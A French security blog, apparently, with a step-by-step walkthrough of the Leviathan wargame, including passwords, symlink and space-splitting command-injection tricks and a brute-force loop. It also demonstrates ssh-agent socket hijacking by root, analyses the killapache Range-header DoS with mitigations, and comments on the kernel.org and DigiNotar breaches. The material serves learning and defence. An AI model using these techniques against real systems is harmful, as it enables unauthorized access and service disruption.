Level2: Les fichiers à exploiter sont situés dans le dossier /wargame/ (une référence au film éponyme?).
Les droits des fichiers montrent qu'il faut lancer le programme check qui demande un mot de passe. La commande strings appliquée à ce programme permet de trouver ce mot de passe 'sex':
level2@leviathan:/wargame$ ./check
password: sex
sh-3.1$ cat /home/level3/.passwd

Level3: Le programme a lancer est 'prog'. Il semble lire le contenu d'un fichier:

level3@leviathan:~$ /wargame/prog
Cannot find /tmp/file.log
level3@leviathan:~$ echo "abcd" > /tmp/file.log
level3@leviathan:~$ /wargame/prog
abcd

Et l'utilisation d'un simple lien symbolique permet de connaître le mot de passe pour le niveau suivant:
level3@leviathan:~$ ln -s /home/level4/.passwd /tmp/file.log
level3@leviathan:~$ /wargame/prog
G5hMQUAd

Level4: Nous nous trouvons de nouveau face à un programme demandant un mot de passe. L'utilisation de la commande strings fournit plusieurs mots semblant être des mots de passe, mais aucun ne fonctionne. La commande ltrace est disponible toutefois:
level4@leviathan:/wargame$ ltrace ./level4
__libc_start_main(0x8048523, 1, 0xbffffb44, 0x8048650, 0x8048600
strcmp("h0no33", kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> bloup
"bloup\n", 256, 0xb7fe1300) = 0xbffff95d
strcmp("bloup\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG)= 19
+++ exited (status 0) +++

La fonction strcmp indique immédiatement quelle comparaison est faite.

level4@leviathan:/wargame$ ./level4
Enter the password> snlprintf
[You've got shell]!
sh-3.1$ cat /home/level5/.passwd
58VoEhbS

Level5: De nouveau une partie d'exploration. Un programme est disponible dans la corbeille: .Trash/bin
son exécution affiche des caractères binaires:
level5@leviathan:~/.Trash$ ./bin
01101000 00110110 00110010 01110011 01001010 01000010 01101010 01000011 00001010
armé de n'importe quelle calculette, on transforme ces nombres en hexa, puis en caractères ASCII:
level5@leviathan:~/.Trash$ printf '\x68\x36\x32\x73\x4A\x42\x6A\x43\x0A'
h62sJBjC
Le résultat est tellement proche des autres mots de passe qu'on se logue level6 avec sans se poser plus de questions.

Level6: Nous avons un programme printfile, comme celui du niveau 3. Mais la méthode du lien symbolique ne fonctionne pas car ce programme vérifie les droits du fichiers accédé. ltrace est de nouveau utile pour exploiter ce programme. Une ligne semble intéressante, le snprintf qui ne semble pas bien gérer les fichiers avec espace.

level6@leviathan:/wargame$ ltrace ./printfile /tmp/'abcd efgh'
__libc_start_main(0x8048424, 2, 0xbffffb34, 0x8048570, 0x8048520 <unfinished ...>

access("/tmp/abcd efgh", 0) = 0

snprintf("/bin/cat /tmp/abcd efgh", 511, "/bin/cat %s", "/tmp/abcd efgh") = 23

system("/bin/cat /tmp/abcd efgh"abcd

/bin/cat: efgh: No such file or directory

<unfinished ...>

--- SIGCHLD (Child exited) ---

<... system resumed> ) = 256

+++ exited (status 0) +++

Le /bin/cat va donc mal gérer le nom de fichier transmis en le découpant en deux noms de fichiers via l'espace, de plus il le fait après avoir vérifié les droits du fichier. Exploitation:

level6@leviathan:/wargame$ ln -s /home/level7/.passwd /tmp/efgh
level6@leviathan:/wargame$ cd /tmp
level6@leviathan:/tmp$ /wargame/printfile /tmp/'abcd efgh'
abcd
hMuFM0Sn
level6@leviathan:/tmp$ su - level7

Level7: un simple exercice de boucle. Il faut trouver la bonne valeur comprise entre 0000 et 9999. Un script shell fait l'affaire:

level7@leviathan:/wargame$ for i in `seq -w 0000 9999`; do ./sphinx $i; done

sh-3.1$ cat /home/level8/.passwd
TRwkApSQ

Level8: Le dernier effort d'exploration :-) un ls devrait donner la solution.

Ce challenge est intéressant car pour une fois il n'est pas tourné à 99,9% du temps vers du reverse de code obfusqué.

Attaquons les serveurs lorsqu'ils sont clients

2011-10-12T06:00:00.000+02:00

Ce message expose une idée qui date de longtemps que je n'ai jamais eu le temps de travailler. Nous savons tous que la majorité des protocoles internet reposent sur un mécanisme client / serveur. Par exemple un client web (Firefox) demande une page web (index.html) à un serveur web (apache).

Il arrive que des serveurs doivent se comporter comme des clients. L'exemple le plus connu est celui du serveur de mail, qui accepte des mails en tant que serveur et les envoie au destinataire en tant que client. [On peut retrouver cette notion en HTTP, mais cela concerne plus les langages comme php qui se retrouvent client web.]. Nous savons que les serveurs sont attaqués et étudiés continuellement, mais qu'en est il de leur robustesse lorsqu'ils sont clients?

Le choix du serveur de mail apparaît comme intéressant. Il est présent à peu près partout et il est vraisemblablement possible de faire envoyer un mail depuis un serveur légitime sur un serveur pirate. Il faut trouver une adresse qui bounce, un mail de refus ou un mail légitime demandant une réponse vers un enregistrement MX que l'on maîtrise, et le serveur SMTP victime s'y connectera.

J'ai effectué une étude rapide sur sendmail. Lorsque je l'utilise en serveur, il est très strict sur la réception des commandes SMTP. Un écart à la RFC et la connexion coupe. Par contre, si je me fais passer pour un serveur et que je demande à sendmail de lui envoyer un mail, alors il devient beaucoup plus laxiste:

Sendmail -- Pirate
EHLO sendmail -->
<-- 502 Command not implemented
HELO sendmail -->
<-- 250 Ok
MAIL FROM: -->
<-- 250 Ok
RCPT TO: -->
<-- Test
<-- (1024 x le caractère A )
<-- d’autres caractères
<-- 250 Ok
DATA -->
<-- 354 Start mail
( mail )
. -->
<-- 250 Ok
QUIT -->
<-- 250 Ok

Ce test est moyennement concluant, je n'ai pas pu faire crasher sendmail, menant peut-être à une exploitation, mais j'ai montré qu'il est possible de sortir du chemin classique des RFC sans que sendmail ne le détecte. J'ai même pu envoyer une image iso sans problème, cela peut donc tout à fait être utilisé comme un canal de communication caché.

J'ai trouvé extrêmement peu de littérature à ce sujet. Il existe une vieille faille sur Exchange (datant de 2002) basée sur ce principe. Il reste à celui que ça intéresse de tester sur l'intégralité des serveurs SMTP disponibles ce genre d'attaques. Le nombre de commandes disponibles EHLO rend le test exhaustif des réponses encore un peu plus long.

Et si on essayait de DoSser le client web?

2011-10-11T06:00:00.000+02:00

La faille 2011-3192 avait pour cible apache et permettait d'effectuer un DoS sur le serveur. Cette faille m'a donné une idée que je n'ai jamais poussée faute de temps, si cela intéresse quelqu'un pour tester, qu'il le fasse savoir :-), cela fait partie de mon stock de message de blogs non terminé que je donne ici.

La faille CVE originale se basait sur une requête d'un client demandant un très grand nombre de fragments au serveur. J'ai donc réfléchi sur l'effet inverse: Comment se comporte un client lorsqu'on lui envoie plusieurs fragments, de préférence très éloigné les uns des autres en réponse à une requête?
C'est à dire qu'un client requête une page web normalement (GET, etc..) et le serveur lui renvoie une réponse Partial de grande taille, p.ex. les octets 1 à 10, puis 4Go à 4Go+10octets. Est-ce qu'il crashe?

Il faut donc tester:
-le comportement des clients webs face à une réponse Partielle alors qu'une page complète est demandée; peut-être affiche-t'il une partie, peut-être qu'il refuse la page.
-le comportement des clients web face à cette page partiell. Allouent-ils immédiatement l'espace, où seulement les octets réellement reçus?
-est-ce qu'il y a moyen d'améliorer le process en choisissant mieux les plages renvoyées?

Je n'ai pas trouvé de littérature à ce sujet, il y a peut-être à creuser.

Attaquer ssh avec ssh-agent.

2011-10-10T06:00:00.000+02:00

Le post de blog précédent citait un commentaire de Ted Tso: Note that if your laptop allows incoming ssh connections, and you logged into master.kernel.org with ssh forwarding enabled, your laptop may not be safe. Ce post va expliquer ce risque de sécurité.

1/Rappels
ssh permet de se connecter à une machine distante en s'authantifiant de différentes manières, notamment via une paire de clés RSA. Ces clés peuvent être protégées (et c'est conseillé) par un mot de passe.
ssh-agent permet de conserver l'accès à ces clés une fois le mot de passe donné une première fois. ssh-agent permet aussi de faire suivre l'accès aux clés entre différentes machines. Ex: je me logge depuis 'host' sur A, puis sur B, le serveur sshd de B peut demander la clé sur host à l'aide de l'agent.

2/Usages
Généralement, on lance ssh-agent, puis on ajoute les clés nécessaires à l'aide de ssh-add. Une session s'affiche donc généralement:

iMac:~ test3$ ssh-agent 
SSH_AUTH_SOCK=/tmp/ssh-xLT5wqNT0G/agent.720; export SSH_AUTH_SOCK;
SSH_AGENT_PID=721; export SSH_AGENT_PID;
echo Agent pid 721;
iMac:~ test3$ ssh-add 
Identity added: /Users/test3/.ssh/id_rsa (/Users/test3/.ssh/id_rsa)
iMac:~ test3$

Puis la connexion est faite sur une machine distante, la connexion se fait sans mot de passe grâce à l'échange de clés RSA:

iMac:~ test3$ ssh -A kevin@192.168.1.99
Last login: Sat Oct 4 11:52:03 2011 from macos
Linux 2.6.37.6.
kevin@slackware:~$ env | grep SSH
SSH_CLIENT=192.168.1.5 50840 822
SSH_TTY=/dev/pts/3
SSH_AUTH_SOCK=/tmp/ssh-GOTNp27472/agent.27472
SSH_CONNECTION=192.168.1.5 50840 192.168.1.99 822
Et l'agent est accessible via une socket dans /tmp. Ce qui signifie que tout accès à cette socket donne accès à l'agent. Cette socket est protégée via des droits Unix:

kevin@slackware:~$ ls -la /tmp/ssh-GOTNp27472/
total 8
drwx------  2 kevin users 4096 oct.   4 14:27 ./
drwxrwxrwt 10 root  root  4096 oct.   4 14:27 ../
srwxr-xr-x  1 kevin users    0 oct.   4 14:27 agent.27472=
kevin@slackwall:~

3/ Conditions d'exploitation
Il est connu que root accède à tous les fichiers indépendamment des droits Unix, il a donc accès à la socket, et donc accès aux clés via l'agent:

root@slackware:~# export SSH_AUTH_SOCK=/tmp/ssh-sXrpwak27467/agent.27467
root@slackware:~# ssh-add -l
2048 a3:06:99:bc:e3:0d:7e:f4:e9:48:07:55:fd:ee:1b:be /Users/test3/.ssh/id_rsa (RSA)
root@slackwall:~#

Ceci devrait être bénin comme conséquence. La clé privée accessible sert à l'utilisateur test3 pour se connecter sur une machine distante. Mais, et c'est bien là ou se situe le noeud du problème, des utilisateurs choisissent expressément cette clé également comme clé de connexion personnelle! i.e. l'utilisateur test3 emploie la clé /Users/test3/.ssh/id_rsa.pub dans /Users/test3/.ssh/authorized_keys

Et là, c'est le drame, il devient dès lors possible pour root de se connecter sur la machine:

root@slackware:~# ssh -l test3 macos
Last login: Sat Oct  4 13:53:46 2011
iMac:~ test3$

Le client ssh se connecte sur macos, une demande d'échange de clé est faite; cette demande remonte à l'agent qui donne la liste de clés présente (id_rsa), qui correspond avec l'une du fichier authorized_keys : connexion établie. Et le root malveillant de la machine slackware a pu se connecter sur la machine macos via l'identité de test3.

4/ Remédiations
Le problème de ce setup provient de l'usage fait par cette clé. Elle sert aussi bien à se connecter sur une machine distante que sur la machine locale. Dit d'une autre manière, cela reviendrait à n'utiliser qu'un unique mot de passe entre une machine distante et une machine locale.
La solution consiste donc à utiliser plusieurs clés. La clé permettant de se connecter à slackware ne doit permettre de ne se connecter qu'à slackware. Une autre clé doit être générée via ssh-keygen pour se connecter sur macos. Ainsi, même si root accède à la socket de ssh, il n'aura pas l'autorisation pour se logger, l'agent n'ayant pas la bonne clé.
Il est également possible de ne pas utiliser l'agent (désactivé dans la configuration par défaut d'openssh) ou de ne pas utiliser de serveur sshd sur la machine locale comme proposé lors de la discussion sur la mainling-list.

J'en profite pour citer une autre partie de son message: "Yes, that's paranoia. With security, the question is always, "are you paranoid *enough*"?"

Vérifier la sécurité de sa machine - kernel.org

2011-10-08T11:01:00.001+02:00

Après avoir subi une attaque récemment, le site kernel.org a été réinstallé et est revenu on-line.
Les développeurs ont fait suivre une série de best-practice aux développeurs à faire avant de chercher à se reconnecter sur kernel.org. Voici extraits les messages les plus techniques de la mailing list LKML.

Le premier message donne une série de mesures, qui commence par "s'assurer que son système n'est pas compromis". Le reste est plus spécifique à GPG et permet de s'assurer via une chaîne de confiance humaine (et non automatiques comme les certificats SSL/TLS de nos navigateurs) que les clés GPG correspondent bien aux bonnes personnes.
Le second donne une série de bonnes pratiques afin de "vérifier son système" comme indiqué au point 1 du message précédent. Il conseille de tout réinstaller, de faire un check anti-rootkits, de vérifier ses logs, vérifier la signature des paquets. Classique, mais un rappel ne fait pas de mal.
Le troisième précise une série de mesures pour lire et exploiter au mieux ses logs. Je trouve une idée particulièrement bonne: check for suspicious DNS requests from machines that are normally not accessed. A number of services perform DNS requests when connected to, in order to log a resolved address. If the machine was penetrated and the logs wiped, the DNS requests will probably still lie in the firewall logs. While there's nothing suspect from a machine that does tens of thousands DNS requests a day, one that does 10 might be suspect. Le DNS est un allié particulièrement efficace comme IDS, c'est connu.
Le quatrième message indique (entre autre) un point qui me semble évident: si root d'une machine distante est compromis, alors ne faites pas du ssh dessus avec un agent activé si vous n'utilisez qu'une clé! Note that if your laptop allows incoming ssh connections, and you logged into master.kernel.org with ssh forwarding enabled, your laptop may not be safe. Effectivement, mais cela demande quand même un setup particulièrement mal fichu. Pour que cette condition soit vraie il faut que vous chargiez dans l'agent la clé qui vous permette de vous connecter chez vous. Ce genre de setup existe (entre autre) si la même clé est utilisée de partout! Pour des développeurs kernel, ça paraît léger, c'est comme si vous utilisiez le même mot de passe pour tous les services... [Je donne la démo d'exploitation dans un post de blog à venir.]

Les admins qui remontent les services actuellement précisent qu'ils fourniront un rapport détaillé sur l'intrusion. J'espère pouvoir le lire bientôt.

Amusons nous cinq minutes avec les certificats frauduleux.

2011-10-07T06:00:00.000+02:00

On m'a fait suivre il y a quelques temps un post de blog expliquant le "Man in the Middle" sur le blog orange sécurité. Le tout en vidéo s'il vous plaît!

Et là, c'est tout simplement énorme la sécurité expliquée aux newbies. Le man in the middle, c'est tout simple, la vidéo peut se résumer à:

J'envoie un certificat frauduleux, le navigateur n'y voit que du feu.

Certes, certes, certes. C'est effectivement tout simple, il suffit tout simplement d'un certificat frauduleux, et hop.

Je propose d'autres sujets de sécurité pour le prof:
"Lire des documents chiffrés via AES". Alors on a un document chiffré via AES, on fait un bruteforce frauduleusement et on a la clé, alors on peut lire les informations dans le document chiffré!

"Voler une session Facebook". Alors on a un utilisateur qui se connecte sur facebook, on lui vole frauduleusement son cookie de session, et alors on peut se connecter avec ses droits!

"Exploiter une application" Alors on a une application, on lui envoie frauduleusement un buffer overflow, et alors on peut lui faire exécuter du code!

Je m'arrête là, mais on pourrait continuer longtemps :-)
La sécurité informatique ça a l'air tellement simple qu'on se demande pourquoi on en parle encore, ça devrait être réglé depuis le temps.

Différencier ses sessions de surf internet

2011-10-06T06:00:00.000+02:00

Le surf sur internet est loin d'être une activité anodine. A l'aide du même outil, un navigateur internet, on surf aussi bien sur le site de sa banque, que l'on consulte ses mails personnels et professionnels, on joue à des jeux flashs, on twitte on blog, on lit des flux RSS, etc...
Tout le monde connaît les dangers du XSS, CSRF etc, je ne reviens donc pas dessus. J'ai choisi depuis quelque temps de différencier mes navigateurs webs selon les usages. Cette idée m'est venue sur le site d'invisible thing labs lors de la présentation de Qubes OS qui pousse le concept de séparation inter applications à l'extrême. N'ayant pas de machine compatible Qubes, j'utilise un linux standard avec firefox et chrome majoritairement, chacun ayant leur rôle particulier. Pour les sessions risquées et pour être sûr des flux sortant de ma machine, j'ai déjà lancé un navigateur dans une machine virtuelle (lguest) accédée via vnc et détruite après usage, mais la lenteur de la mise en route de ce genre de solution ne le rend pas viable au quotidien, partie essentielle du concept. S'il faut 5mn pour lancer un navigateur "sûr" alors à terme, on ne le lancera plus. S'il faut 3s, alors on copie-colle l'URL "louche" et le risque est réduit.

Sous Chrome, je vais sur des sites "personnifiés", banque, mails, impôts.
Sous firefox je fais du "random browsing" ou des consultations de sites impersonnels (webmails où j'utilise différents pseudos ou identités poubelles). Ainsi, je m'évite des problèmes de sécurité liés à l'utilisation d'un navigateur unique, un onglet firefox me demandant mon adresse gmail me mettrai par exemple immédiatement la puce à l'oreille! De plus, le visuel largement différent entre les deux navigateurs me permet d'un coup d'oeil de ne pas me tromper.

Les réglages proxy de l'un n'influent pas l'autre. Je peux donc vérifier le cas échéant les certificats des sites https depuis deux sources distinctes: chrome en direct, firefox via tor, un petit peu à l'image de ce que proposait Moxie Marlinspike (vérifier depuis plusieurs sources les certificats pour en attester la validité).
Plus intéressant les cookies sont différents, dont les cookies de sessions. Ainsi, je peux être loggé sur le site A sur Chrome et surfer sur A depuis firefox sans être loggé, ce qui peut être utile.
J'ai lu un message de l'équipe de Chrome qui expliquait commet twitter "LIKE A BOSS" (cf l'user agent). Ce sont un peu les mêmes raisons encore une fois. Un navigateur par type d'utilisation. Et le navigateur reste cloisonné dans la session qu'on lui alloue.

Je cherche désormais à pouvoir utiliser différents DNS par navigateur afin de pouvoir circonvenir les sorties possibles. Pour reprendre l'idée précédente, si je veux "touiter comme un boss", j'aimerai que les seuls IP résolvables par mon navigateur soient celles de *twitter.com. Il faut que je creuse un peu la doc.

Mois du microblogging

2011-10-05T14:38:00.000+02:00

J'ai accumulé ces derniers temps un certain nombre d'articles trop courts pour en faire un post de blog. Le mois d'octobre sera un mois du microblogging pendant lequel je vais les diffuser un par un jusqu'à épuisement des stocks. Il s'agit souvent d'idées non forcément vérifiées ou validées, exposées dans des messages relativement courts et ouverts à polémique.

Le premier micro article date du mois dernier, et de l'attaque de Diginotar par un soi-disant étudiant iranien. Est il possible de remonter à l'attaquant? Une partie de son premier message sur pastebin avait retenu mon attention:

Have you ever heard of XUDA programming language which RSA Certificate manager uses it? NO! I heard of it in RSA Certificate Manager and I learned programming in it in same night, it is so unusual like greater than sign in all programming languages is "<" but in XUDA it is "{"

ainsi que le troisième:

all files was coded in XUDA (there is no reference to XUDA programming language, even a single line),

On peut vraisemblablement penser qu'il a dû faire quelques recherches sur le langage Xuda, on peut également raisonnablement espérer qu'il ne surfe pas en permanence via tor (ou système équivalent). Le moteur de recherche sur internet le plus couramment utilisé est google. La seule info que l'on peut piocher chez google est google trends:
http://www.google.fr/trends?q=XUDA&ctab=0&geo=all&date=2011&sort=0
qui fait plutôt référence à la turquie, mais les résultats de google trends sont très variables aussi je n'y accorderai qu'une confiance modérée.

Ce qui signifie que si on pouvait avoir accès aux logs complets chez google (et où d'autres moteurs de recherches) il serait facile de vérifier si des recherches sur le langage XUDA ont été faites depuis une cité universitaire iranienne (ou pas) :-)

Parler ou pas de Diginotar?

2011-09-07T11:10:00.002+02:00

En ce moment, on entend énormément parler de l'EPIC FAIL de Diginotar qui s'est fait pirater. Mais cela vaut il la peine d'en parler? Nous savons que l'architecture SSL d'internet repose sur la confiance que l'on donne à une liste d'autorités installées par défaut dans notre navigateur.
News0ft a écrit un excellent post de blog expliquant pourquoi SSL est cassé. Il faut aujourd'hui compléter son post de blog en ajoutant que l'architecture SSL est encore plus cassée si l'on prend en compte la faible sécurité des infrastructures des entreprises délivrant des certificats.

On refait le match:
A l'origine, nous avons un blogueur iranien qui détecte à l'aide du public key pinning de google chrome que le certificat de gmail n'est pas le bon. Il envoie un message sur twitter, puis le security circus s'emballe et s'enflamme.
Résultat de ce bruissement, pas grand chose. On savait déjà qu'il est possible de faire du MiTM sur SSL tant qu'on a un certificat adéquat, on savait déjà que les CA sont le maillon faible de l'architecture de confiance, et le seul fait finalement intéressant et à discuter concerne l'EPIC FAIL de diginotar.

EPIC FAIL:
La lecture du compte-rendu de l'attaque par l'entreprise Fox-It est édifiante. Dans l'ordre, nous avons:

des serveurs webs non patchés (Un message intéressant de F-secure indique que les serveurs webs de diginotar ont été hackés une première fois en mai 2009 (!) Ceci dit, nulle part n'est indiqué comment cette date a été trouvée.)
une infrastructure critique sans antivirus, le pirate a pu utiliser des outils comme Cain&Abel.
un mot de passe faible
un unique domaine windows, ce qui permet avec un seul login/mdp de naviguer sur l'ensemble du réseau
un accès direct à l’infrastructure de signature de certificats, alors que la règle veut que ces machines soient déconnectées de tout réseau (et pour y avoir travaillé, je confirme que j'ai vu dans des grandes entreprises la CA sur un portable déconnecté du réseau dans un coffre).
Le pirate a pu générer plus de 500 certificats (!!!) et les récupérer. Il devient évident que la CA de diginotar doit être évacuée des magasins de certificats.

La timeline des évènements m'étonne également beaucoup:

Le 6 juin 2011 le pirate arrive.
Le 17, il a la main sur la DMZ
Le 19 juin Diginotar détecte la compromission (et que font ils? Ils prennent le café? Ils font une réunion pour se tenir chaud?)
Le 2 juillet le pirate essaye de créer des certificats. Le 10 juillet, il y arrive, le premier est celui de *.google.com
Le 20 juillet, le dernier certificat est créé.
Le 27 juillet, une requête OCSP pour *.google.com arrive chez diginotar.
A partir du 4 août, un énorme afflux de requêtes OCSP proviennent de l'iran.
Le 27 août un message est posté sur un forum google (27 selon le rapport, 28 selon le message du forum?)
Le 29 Août le faux certificat de google est révoqué.
Le 1er septembre OCSP fonctionne sur un mécanisme de whitelist, je suppose que c'est face à l'étendue de la débâcle découverte par Fox-it.

Et le pirate:
Le pirate semble être le même que Comodohacker. Son message sur pastebin semble véridique, et le rapport note quelques similitudes entre les deux attaques. Un seul point diffère entre l'analyse de Fox-it et les dires du pirate: il affirme s'être connecté sur un réseau déconnecté d'internet pour faire signer ses certificats, Foxit indique que l'architecture signant les requêtes était joignable depuis un réseau d'administration.
Il a posté deux nouveaux messages confirmant son attaque. [tiens, je vais supprimer Globalsign de mon magasin de certificats juste au cas où :-) ]
Update: Cela se confirme, Globalsign a décidé de ne plus signer de certificats le temps de vérifier ses infrastructures.
Update: le pirate continue d'émettre sur pastebin ses messages. Rien de neuf si ce n'est qu'il indique être très fort et qu'il faut le prendre très au sérieux.

Sooooo, what's the point?
Eh bien on apprend qu'un pirate peut attaquer avec succès des sociétés délivrant des certificats, et que de ce fait les communications SSL peuvent être écoutées. Comme je disais en introduction, rien de bien neuf, cela vaut il la peine d'en parler? Sur internet, "trust, but verify" est de mise. Je rappelle les extensions firefox données sur le blog de News0ft: perspectives et certificate patrol.
Update: On lit encore sur internet des déclarations outrées sur le fait que le pirate ait pu avoir l'accès à la clé privée de la CA de diginotar. Je ne pense pas qu'il y ait eu accès, s'il avait cette clé, il n'aurait jamais fait signer par diginotar ses +500 certificats. Je pense à la lecture du compte-rendu de FoxIt et du message de ComodoHacker que le pirate n'a eu accès qu'au workflow de signature de certificats, a pu ajouter les siens puis récupérer les certificats signés à la sortie. En ce sens, il y a du FAIL chez diginotar qui aurait du détecter que le nombre de certificats variait, de plus des alertes devraient être levées dès que des wildcards ou des certificats au nom de "google" ou autre nom sensible sont demandés.

Par contre, puisqu'on apprend actuellement toutes les semaines que des grandes infras sont piratées, je jetterai bien une idée en l'air. Et si on imaginait que nos infras étaient piratées? Là, maintenant. Qu'on lance le même genre d'investigations poussées suite à un incident avéré. Qui serait capable de lancer un audit complet? Que trouverions nous dans nos infras?

kernel.org est compromis.

2011-09-01T10:35:00.001+02:00

Le site kernel.org est le site officiel du développement du noyau linux. Il s'agit d'un site massivement mirroré au travers du monde. Un des serveurs, hera.kernel.org (indisponible à cette heure) a été compromis. Le message du site central est éloquent: "Security Breach". Le message qui suit est une traduction commentée du message initial diffusé sur kernel.org.

La compromission fût détectée fortuitement le 28 Août par un administrateur qui a lu des messages d'erreurs étranges dans le /dev/mem lié à Xnest alors qu'Xnest n'était pas installé... Ceci me fait penser à la vidéo de Nicolas Ruff sur les APT que j'ai visionnée sur le blog de Cédric Blancher. Une des diapositives de sa présentation indique: "Les compromissions sont souvent découvertes par hasard"...

Une seconde analyse attentive du serveur par les administrateurs à montré qu'un troyen était lancé automatiquement au reboot de la machine, signe évident de compromission. De plus les fichiers liés à ssh (openssh, openssh-server et openssh-clients) ont été modifiés et étaient en cours d'utilisation. Apparement le programme malveillant loggait les actions des utilisateurs du système. Une analyse élargie a montré que plusieurs autres serveurs présentaient des erreurs curieuses une fois de plus liées à Xnest, sans qu'il ne soit possible à l'heure actuelle de faire le lien formel entre compromission et messages d'erreurs Xnest. Quoi qu'il en soit, il est conseillé à tous les développeurs noyaux impliqués de vérifier la présence de ce genre de messages sans qu'il ne soit plus donné de précisions (Que faut il chercher? un crash? oops? autre type d'erreur?).

La compromission initiale s'est faite en deux temps selon les administrateurs. L'attaquant aurait utilisé un login/mot de passe (soit faible, soit obtenu par un moyen tiers ce n'est pas précisé) pour obtenir un shell local puis aurait utilisé une faille inconnue pour devenir root. Des recherches sont en cours, une note indique que le noyau 3.1rc2 pourrait bloquer cette attaque sans plus de certitudes.

Une grosse opération de nettoyage est en cours puisque les machines ont toutes été mises off-line pour analyse. Les autorités (haha) américaines et européennes ont été prévenues. Toutes les machines de kernel.org vont être réinstallées. Les 448 utilisateurs de ces machines vont devoir changer de mots de passes et/où de clé SSH. Et enfin tous les fichiers composant le noyau linux sont analysés, ainsi que les tarballs pour s'assurer qu'aucune modification n'y a été effectuée.

Le message d'alerte termine sur une note positive en indiquant que l'attaque est inutile car le mode de développement de liux est basé sur git. Git calcule un hash SHA-1 de chacun des fichiers composant l'arbre des sources. Il n'est donc pas possible de modifier un de ces fichiers, et donc l'attaquant n'a pas de possibilités de "trojaniser" un noyau linux qui sera diffusé par la suite. Un deuxième avantage lié au mode de développement décentralisé de linux fait qu'il existe une quantité innombrable de duplicata de ces sources, permettant ainsi de détecter le changement entre deux versions. Le message termine par ces mots "(we) are confident that our systems, specifically git, have excellent desgin to prevent real damage from these types of attacks".

Dans un sens, oui, ils ont raison, mais je ne suis pas rassuré pour autant. Je ne suis pas développeur, je n'utilise donc pas git, je ne peux donc pas compter sur son mécanisme de checksums élaboré. Je télécharge mes noyaux en tar.bz2 sur un des mirroirs cités plus haut en vérifiant sa signature. Et la vérification de signature, http://www.kernel.org/signature.html, le dit bien: "This signature does not guarantee that the Linux Kernel Archives master site itself has not been compromised.". Donc à l'heure actuelle, je ne vais sûrement pas télécharger de noyaux :-) Le second point qui m'inquiète toujours un peu dans ce genre de compromissions c'est le flou artistique (apache, redhat) qui entoure la compromission. La communication est toute à leur honneur et est je pense essentielle. Néanmoins, j'aimerai également (vœu pieux) un gros travail de communication rétroactif une fois la crise passé pour pouvoir prendre le temps d'analyser cette compromission à froid.

EDIT: les serveurs ne sont toujours pas remontés. Linux Torvalds a choisi de migrer l'arbre des sources sur github.

Apache range header et CVE-2011-3192

2011-08-25T17:57:00.007+02:00

Apache est vulnérable à une attaque par déni de service. L'origine de ce CVE débute le 20 Août sur la mailing liste full disclosure par un message de Kingcope. Il propose en effet un petit outil en perl killapache.pl réalisant un denial of service sur les serveurs web apache, toutes versions confondues. Je propose une analyse rapide de celui-ci en deux points: tout d'abord une explication de cette attaque, ensuite les moyens d'en réduire l'impact.

1/ L'attaque
Une lecture rapide du code perl montre qu'il utilise le header HTTP Range. Une explication claire de ce header HTTP est disponible ici. Pour résumer, un serveur HTTP peut ne renvoyer que quelques parties d'un fichier sur demande d'un client à l'aide de l'entête "Range".
Cet outil d'attaque, killapache.pl, envoie une première requête afin de s'assurer que le serveur distant accepte d'envoyer des morceaux de fichiers (des "Range") et si oui l'attaque est lancée [Attention, cette vérification n'est pas fiable, c'est à dire qu'un serveur marqué non vulnérable peut l'être..]. L'outil analyse le code retour de la première requête en cherchant le mot "Partial".

J'ai utilisé socat afin de voir l'attaque fonctionner 'in vivo'. Depuis un xterm je lance donc:
kevin@slackware:~$ socat - TCP-LISTEN:8080,reuseaddr,fork

D'un autre xterm je lance l'attaque (après avoir modifié le script pour qu'il tape le port 8080, constante PeerPort):

kevin@slackware:~$ perl kill_apache.pl 127.0.0.1

Il suffit d'observer l'attaque après avoir renvoyé "Partial" (une réponse non RFC mais suffisante pour que l'attaque soit lancée):

[je coupe un peu, c'est long. snip--- snip--- snip--- vous comprenez l'idée de cette ligne d'en-tête. ]

Et les requêtes s'enchaînent.

L'attaque devient évidente. En réponse à ces requêtes, le serveur va donc prendre la page d'accueil du site web attaqué, la zipper 1300 fois puis découper ces 1300 fichiers zippés afin de renvoyer les bonnes parties de celui-ci au client.
Finesse supplémentaire de l'attaque, ce n'est pas un GET, mais un HEAD qui est demandé. Donc le serveur va calculer une très grosse quantité de données et n'en renvoyer que le début ! Nous sommes donc en présence d'un DoS de belle facture où le client avec quelques requêtes va provoquer énormément de travail sur un serveur sans être lui-même impacté.

2/ Mitigations
Un ensemble de bons conseils ont été donnés sur la mailing list apache. Il n'existe pas de solution unique, je décris les idées émises.

Nous avons vu que l'en-tête Range est utile pour n'envoyer qu'une partie des fichiers. Cet en-tête est donc particulièrement employé pour des sites pourvoyeurs de gros pdfs (genre e-readers) ou de videos. En dehors de ces cas ou autre emploi similaire (Webdav?), la désactivation de cet en-tête est la solution la plus simple à mettre en oeuvre:
RequestHeader unset Range

Une deuxième solution propose de limiter la longueur des en-têtes. Les images ci-dessus montrent que l'en-tête Range: ne fait qu'une seule ligne. La directive de configuration:

        LimitRequestFieldSize 200

permet de bloquer effectivement cette attaque. Deux points sont à considérer. Tout d'abord certains autres en-têtes peuvent légitimement avoir besoin d'une taille supérieure ce qui provoquera un blocage du service se servant de cette en-tête. C'est donc à adapter au cas par cas. Ensuite, cette attaque est appelée à évoluer et il apparaît comme crédible qu'elle fonctionnera avec un en-tête plus petit.

Une troisième solution préconise de limiter le nombre de champ Range dans la même requête au nombre de 5 (limite arbitraire, à adapter, des cas légitimes d'usages existent). Ceci se fait via un module apache développé pour l'occasion, ou des directives de configuration (expliquées dans le mail apache).

Enfin, la dernière solution consiste à attendre :-) Les développeurs apache ont promis une solution dans les 48 heures.

Pour l'historique, L'en tête Range: a déjà souffert d'une faille légèrement similaire en requêtant plusieurs fois le même morceau de fichier: CVE-2007-0086. Mon conseil serait donc de désactiver cet en-tête à moins que le site web en fasse un usage vital. Deux CVE sur un même en-tête HTTP risquent de donner des idées à des attaquants qui chercheront à affiner/modifier cette attaque pour qu'elle soit la plus efficace possible en étant moins bruyante.

3/conclusion
C'est effectivement un attaque fructueuse, certains messages sur des mailings listes indiquent que la machine s'est mise à swapper de manière démesurée jusqu'à provoquer un blocage complet. Les méthodes de mitigation sont très effectives et clairement exposées dans le mail apache. Une proposition d'évolution de la norme HTTP RFC 2616 est faite suite à discussion sur une ML apache.
